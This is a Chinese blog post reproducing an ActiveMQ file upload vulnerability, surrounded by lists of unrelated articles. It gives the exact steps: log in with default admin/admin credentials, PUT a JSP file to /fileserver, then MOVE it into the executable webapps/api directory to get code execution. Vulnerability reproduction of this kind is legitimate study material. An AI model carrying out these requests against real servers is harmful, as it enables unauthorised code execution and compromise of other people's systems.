ActiveMQ 任意文件上传漏洞复现

  • 开发
  • 32

一、使用弱口令登陆

​ 访问 http://ip:8161/admin/ 进入admin登陆页面，使用弱口令登陆，账号密码皆为 admin，登陆成功后，headers中会出现验证信息

​ 如： Authorization: Basic YWRtaW46YWRtaW4=

# 二、利用PUT协议上传文件

​ 访问任意页面并抓包，注意headers中的验证信息

image20210719092946435.png

​ 将GET协议修改为PUT协议，将文件上传至 fileserver 目录下

PUT /fileserver/jsp.jsp

image20210719095428185.png

​ 如上图，response 包中返回状态码为 204，即文件上传成功

​ 但是直接在 fileserver 目录下访问该文件是不能正常解析的

image20210719094016998.png

# 三、利用MOVE协议将文件移动至可解析目录

​ 继续修改请求包协议为 MOVE，并在头部中添加 Destination

MOVE /fileserver/jsp.jsp
Destination: file:///opt/activemq/webapps/api/jsp.jsp

image20210719094727788.png

​ 同样的，响应包返回的状态码为 204，代表文件成功移动到 api 目录下

image20210719095847143.png

​ 代码被成功执行

阅读全部

相关推荐

  9. 【漏洞复现】润乾报表 servlet/dataSphereServlet 任意文件上传漏洞

    2024-04-22 00:32:02       37 阅读

最近更新

  3. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-22 00:32:02       94 阅读

  4. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-22 00:32:02       100 阅读

  9. 在Django里面运行非项目文件

    2024-04-22 00:32:02       82 阅读

  19. Python语言-面向对象

    2024-04-22 00:32:02       91 阅读

  20. 如何分清楚常见的 Git 分支管理策略Git Flow、GitHub Flow 和 GitLab Flow

    2024-04-22 00:32:02       85 阅读

热门阅读

  2. 前端-嵌套对象转FormData（支持文件/对象无限层级递归）

    2024-04-22 00:32:02       37 阅读

  4. 深入浅出理解CSS中的3D变换：踏上立体视觉之旅

    2024-04-22 00:32:02       36 阅读

  6. k8s中修复mongodb启动失败

    2024-04-22 00:32:02       23 阅读

  7. Neural Radiance Fields (NeRF) 和 3D Gaussian Splatting区别

    2024-04-22 00:32:02       33 阅读

  12. 展开说说：Android Fragment完全解析-卷二

    2024-04-22 00:32:02       39 阅读

  14. vue大屏

    2024-04-22 00:32:02       32 阅读

  18. jQuery 选择器有几种，分别是什么

    2024-04-22 00:32:02       33 阅读

  20. Linux系统的账号和权限管理

    2024-04-22 00:32:02       34 阅读

  26. 赠品：跳动的心

    2024-04-22 00:32:02       36 阅读

  28. ZYNQ-700呼吸灯

    2024-04-22 00:32:02       36 阅读

  30. 【设计模式】8、adapter 适配器模式

    2024-04-22 00:32:02       31 阅读